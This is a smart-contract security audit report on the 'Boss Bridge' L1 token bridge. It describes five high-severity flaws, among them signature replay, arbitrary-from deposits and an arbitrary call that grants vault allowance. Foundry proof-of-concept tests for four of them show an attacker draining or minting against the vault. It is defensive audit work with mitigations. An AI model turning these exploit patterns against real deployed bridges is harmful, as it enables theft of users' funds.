Boss Bridge Audit Report

Version 1.0

khal45

October 19, 2025

Boss Bridge Audit Report

khal45

19th October, 2025

Prepared by: khal45 Lead Auditors:

- khal45

Table of Contents

  - [H-5] L1BossBridge::sendToL1 allowing arbitrary calls enables users to call L1Vault::approveTo and give themselves infinite allowance of vault funds
  - [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs
  - [L-1] Lack of event emission during withdrawals and sending tokesn to L1
  - [L-2]: Unsafe ERC20 Operation
  - [L-3]: Address State Variable Set Without Checks
  - [L-4]: Unchecked Return
  - [I-1]: Public Function Not Used Internally
  - [I-2]: State Variable Could Be Constant
  - [I-3]: State Variable Could Be Immutable

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

We plan on launching `L1BossBridge` on both Ethereum Mainnet and ZKSync.

Disclaimer

Khal45 makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

```
./src/
-- L1BossBridge.sol
-- L1Token.sol
-- L1Vault.sol
-- TokenFactory.sol
```

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Over the course of the security review, khal45 engaged with the boss bridge protocol to review it. In this period of time a total of 13 issues were found

Issues found

Severtity	Number of issues found
High	5
Medium	1
Low	4
Info	3
Total	13

Findings

[H-1] Arbitrary `from` in `L1BossBridge::depositTokensToL2` allows an attacker to deposit a user's token to the L2

Description: `depositTokensToL2` is meant to allow a user to deposit their tokens to the vault however, the function takes a `from` as parameter therby allowing anybody to call the function with `from` set to a user that has approved the vault to spend their tokens.

```
@> function depositTokensToL2(address from, address l2Recipient,
   uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
        token.safeTransferFrom(from, address(vault), amount);

        // Our off-chain service picks up this event and mints the
           corresponding tokens on L2
        emit Deposit(from, l2Recipient, amount);
    }
```

Impact: A malicious actor can deposit a user's tokens before the user can deposit it if, the user has already approved the bridge to spend their tokens

Proof of Concept: Consider the following scenario:

1. Alice approves the bridge to spend her tokens
2. Bob notices the approval and calls `depositTokensToL2` before alice can call the function
3. Alice now tries to call the function but it reverts

Add the following test to `L1TokenBridge.t.sol`

```
function test_arbitrary_from_exploit() public {
        // user approves tokenBridge to spend their tokens
        vm.prank(user);
        uint256 amount = 10e18;
        token.approve(address(tokenBridge), amount);

        address attacker = makeAddr("attacker");
        address attackerInL2 = makeAddr("attackerinl2");
        // attacker deposits user's getTokenBalances
        vm.prank(attacker);
        tokenBridge.depositTokensToL2(user, attackerInL2, amount);

        assertEq(token.balanceOf(address(tokenBridge)), 0);
        assertEq(token.balanceOf(address(vault)), amount);

        // now user tries to deposit their own tokens but it reverts
        vm.prank(user);
        vm.expectRevert();
        tokenBridge.depositTokensToL2(user, userInL2, amount);
    }
```

Recommended Mitigation: Remove the `from` parameter entirely and instead transfer from `msg.sender`

```
- function depositTokensToL2(address from, address l2Recipient, uint256
    amount) external whenNotPaused {
+  function depositTokensToL2(address l2Recipient, uint256 amount)
   external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-         token.safeTransferFrom(from, address(vault), amount);
+         token.safeTransferFrom(msg.sender, address(vault), amount);

        // Our off-chain service picks up this event and mints the
            corresponding tokens on L2
        emit Deposit(from, l2Recipient, amount);
    }
```

This ensures a malicious actor can't deposit another user's tokens

[H-2] Using `create` opcode in `TokenFactory::deployToken` will not work on zksync

Description: `deployToken` uses `create` opcode to deploy a new token. While this will work fine on ethereum, it won't on zksync. The create opcode does not function correctly on zkSync Era due to fundamental differences in how the chain handles contract deployment compared to the standard Ethereum Virtual Machine (EVM). Specifically, zkSync requires the compiler to be aware of the bytecode of the contract being deployed in advance, which is not the case when using the create opcode for arbitrary code unknown to the compiler.

```
function deployToken(string memory symbol, bytes memory
    contractBytecode) public onlyOwner returns (address addr) {
@>        assembly {
@>            addr := create(0, add(contractBytecode, 0x20), mload(
    contractBytecode))
        }
        s_tokenToAddress[symbol] = addr;
        emit TokenDeployed(symbol, addr);
    }
```

Impact: `deployToken` won't deploy new tokens but fail silently

Proof of Concept: Read more about zksync evm instructions in the docs

Recommended Mitigation: Remove the create opcode entirely and instead deploy the contracts with regular solidity

[H-3] Calling depositTokensToL2 from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

Description: `depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken. Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the depositTokensToL2 function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the Deposit event any number of times, presumably causing the minting of unbacked tokens in L2.

Impact: An attacker can mint any number of unbacked tokens on the L2

Proof of Concept: Add the following test to `L1TokenBridge.t.sol`

```
function test_can_transfer_from_vault_to_vault() public {
        address attacker = makeAddr("attacker");

        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        // can triggering the deposit event, self transfer tokens to
            the vault?
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);

        // can do this forever?
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);
    }
```

Recommended Mitigation: As suggested in `H-1`, remove the `from` parameter entirely and instead transfer from `msg.sender`

[H-4] Lack of nonce in `BossBridge::sendToL1` allows signature replay attacks

Description: `sendToL1` is meant to verify a signature and send the tokens from the L2 to the L1 however, since the `v`, `r` & `s` components of the signature are visible onchain, the signature can be reused multiple times to potentially drain the L2 vault

Impact: An attacker can drain the L2 vault by using the same signature to send tokens they did not deposit over and over

Proof of Concept:

Add the following test to `L1TokenBridge.t.sol`

```
    function test_signature_replay() public {
        address attacker = makeAddr("attacker");
        // assume the vault already holds some balance
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance)
            ;

        // An attacker deposits tokens to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attacker,
            attackerInitialBalance);

        // Signer / operator is going to sign the withdrawal
        bytes memory message = abi.encode(
            address(token), 0, abi.encodeCall(IERC20.transferFrom, (
                address(vault), attacker, attackerInitialBalance))
        );
        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(operator.key, MessageHashUtils.
                toEthSignedMessageHash(keccak256(message)));
        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker,
                attackerInitialBalance, v, r, s);
        }

        assertEq(token.balanceOf(address(attacker)),
           attackerInitialBalance + vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation: consider signing the messages with a `nonce` and the address of the contract so that the signature is only valid once

[H-5] L1BossBridge::sendToL1 allowing arbitrary calls enables users to call L1Vault::approveTo and give themselves infinite allowance of vault funds

Description: The L1BossBridge contract includes the sendToL1 function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the L1Vault contract.

The L1BossBridge contract owns the L1Vault contract. Therefore, an attacker could submit a call that targets the vault and executes is approveTo function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

Impact: An attacker can give themselves infinite allowance of vault funds and drain the vault

Proof of Concept:

Add the following test to `L1TokenBridge.t.sol`

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
        address attacker = makeAddr("attacker");
        // assume the vault already holds some balance
        uint256 vaultInitialBalance = 1000e18;
        uint256 amountToDeposit = 0;
        deal(address(token), address(vault), vaultInitialBalance);

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(attacker), address(0), 0);
        tokenBridge.depositTokensToL2(attacker, address(0),
           amountToDeposit);

        bytes memory message = abi.encode(
            address(vault), // target
            0, // value
            abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
                uint256).max)) // data
        );
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
           operator.key);

        tokenBridge.sendToL1(v, r, s, message);
        assertEq(token.allowance(address(vault), attacker), type(
            uint256).max);
        token.transferFrom(address(vault), attacker, token.balanceOf(
            address(vault)));
        assertEq(token.balanceOf(attacker), vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
        vm.stopPrank();
    }
```

Recommended Mitigation: Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the L1Vault contract.

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

[L-1] Lack of event emission during withdrawals and sending tokesn to L1

Neither the sendToL1 function nor the withdrawTokensToL1 function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Modify the sendToL1 function to include a new event that is always emitted upon completing withdrawals.

[L-2]: Unsafe ERC20 Operation

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

2 Found Instances

- Found in src/L1BossBridge.sol Line: 99

```
                    abi.encodeCall(IERC20.transferFrom, (address(vault
                        ), to, amount))
```

- Found in src/L1Vault.sol Line: 20

```
            token.approve(target, amount);
```

[L-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

1 Found Instances

- Found in src/L1Vault.sol Line: 16

```
            token = _token;
```

[L-4]: Unchecked Return

Function returns a value but it is ignored. Consider checking the return value.

1 Found Instances

- Found in src/L1Vault.sol Line: 20

```
            token.approve(target, amount);
```

[I-1]: Public Function Not Used Internally

If a function is marked public but is not used internally, consider marking it as `external`.

2 Found Instances

- Found in src/TokenFactory.sol Line: 23

```
        function deployToken(string memory symbol, bytes memory
            contractBytecode) public onlyOwner returns (address addr) {
```

- Found in src/TokenFactory.sol Line: 31

```
        function getTokenAddressFromSymbol(string memory symbol)
            public view returns (address addr) {
```

[I-2]: State Variable Could Be Constant

State variables that are not updated following deployment should be declared constant to save gas. Add the `constant` attribute to state variables that never change.

1 Found Instances

- Found in src/L1BossBridge.sol Line: 30

```
    uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

[I-3]: State Variable Could Be Immutable

State variables that are only changed in the constructor should be declared immutable to save gas. Add the `immutable` attribute to state variables that are only changed in the constructor

1 Found Instances

- Found in src/L1Vault.sol Line: 13

```
    IERC20 public token;
```